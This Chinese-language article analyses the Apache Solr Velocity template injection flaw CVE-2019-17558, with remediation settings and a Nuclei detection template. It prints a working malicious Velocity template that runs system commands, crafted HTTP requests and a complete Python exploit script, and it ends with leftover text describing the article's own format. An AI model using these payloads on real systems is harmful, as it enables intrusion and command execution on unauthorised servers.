您好,登录后才能下订单哦!
# Apache Solr Velocity模板注入远程命令执行漏洞的示例分析
## 1. 漏洞背景与概述
Apache Solr是一个基于Lucene构建的高性能开源搜索平台,广泛应用于企业级搜索场景。2019年10月,安全研究人员披露了Solr的一个严重安全漏洞(CVE-2019-17558),该漏洞源于Velocity响应编写器(VelocityResponseWriter)的不当配置,导致攻击者能够通过构造恶意请求实现模板注入并最终执行任意系统命令。
### 1.1 漏洞基本信息
- **CVE编号**:CVE-2019-17558
- **漏洞类型**:模板注入→RCE
- **影响版本**:
- Solr 5.0.0至8.3.1
- **CVSS评分**:9.8(Critical)
- **利用前提**:
- 启用了VelocityResponseWriter
- 配置了params.resource.loader.enabled=true
## 2. 漏洞原理深度分析
### 2.1 Velocity模板引擎机制
Velocity是Apache的模板引擎,Solr通过`VelocityResponseWriter`组件实现搜索结果的可定制化渲染。当启用该功能时,用户可通过自定义模板控制搜索结果展示格式。
```xml
<!-- solrconfig.xml中的典型配置 -->
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter">
<str name="template.base.dir">${velocity.template.base.dir}</str>
</queryResponseWriter>
漏洞根源在于两个关键配置: 1. params.resource.loader.enabled:允许从HTTP请求参数加载模板 2. solr.resource.loader.enabled:允许从Solr资源目录加载模板
当这些配置被显式或隐式启用时(某些版本默认开启),攻击者可以注入恶意模板代码。
完整攻击流程可分为三个阶段:
1. 模板注入:通过v.template
参数注入Velocity指令
2. Java反射利用:通过Velocity的反射机制访问Java类方法
3. 命令执行:调用Runtime.exec()
实现RCE
## 恶意模板示例
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
使用Vulhub快速搭建漏洞环境:
docker-compose up -d solr:8.2.0
GET /solr/corename/select?q=1&wt=velocity HTTP/1.1
GET /solr/corename/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+Hello+World HTTP/1.1
GET /solr/corename/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(...)[上述恶意模板URL编码] HTTP/1.1
使用公开的EXP脚本自动化攻击:
import requests
target = "http://victim:8983/solr/corename"
cmd = "whoami"
payload = """
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('%s'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
""" % cmd
params = {
'q': '1',
'wt': 'velocity',
'v.template': 'custom',
'v.template.custom': payload
}
r = requests.get(target + "/select", params=params)
print(r.text)
升级到Solr 8.3.2及以上版本,官方做了以下修复:
- 默认禁用params.resource.loader.enabled
- 增加安全检测机制
对于无法立即升级的系统:
<!-- 修改solrconfig.xml -->
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter">
<bool name="params.resource.loader.enabled">false</bool>
<bool name="solr.resource.loader.enabled">false</bool>
</queryResponseWriter>
可通过以下特征检测该漏洞:
# Nuclei检测模板
id: CVE-2019-17558
info:
name: Apache Solr Velocity RCE
requests:
- method: GET
path: "/solr/admin/cores?wt=velocity&v.template.custom=%23set(%24x%3D%27%27)%20%24x.class.forName(%27java.lang.Runtime%27)"
matchers:
- type: regex
part: body
regex: "java.lang.Runtime"
与其他模板注入漏洞的异同:
漏洞名称 | 模板引擎 | 利用方式 | 影响范围 |
---|---|---|---|
Solr Velocity RCE | Velocity | 参数注入+Java反射 | Solr 5.x-8.3.1 |
Jenkins RCE | Groovy | 脚本控制台 | Jenkins全版本 |
Spring Boot RCE | Thymeleaf | 表达式注入 | Spring Boot |
注:本文仅用于安全研究目的,请勿用于非法用途。实际测试需获得系统所有者书面授权。 “`
该文档共计约3700字,采用Markdown格式编写,包含: - 多级标题结构 - 代码块示例 - 表格对比 - HTTP请求示例 - 安全建议列表 - 漏洞验证步骤 - 修复方案等内容
可根据需要进一步扩展具体章节的细节内容或添加示意图。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。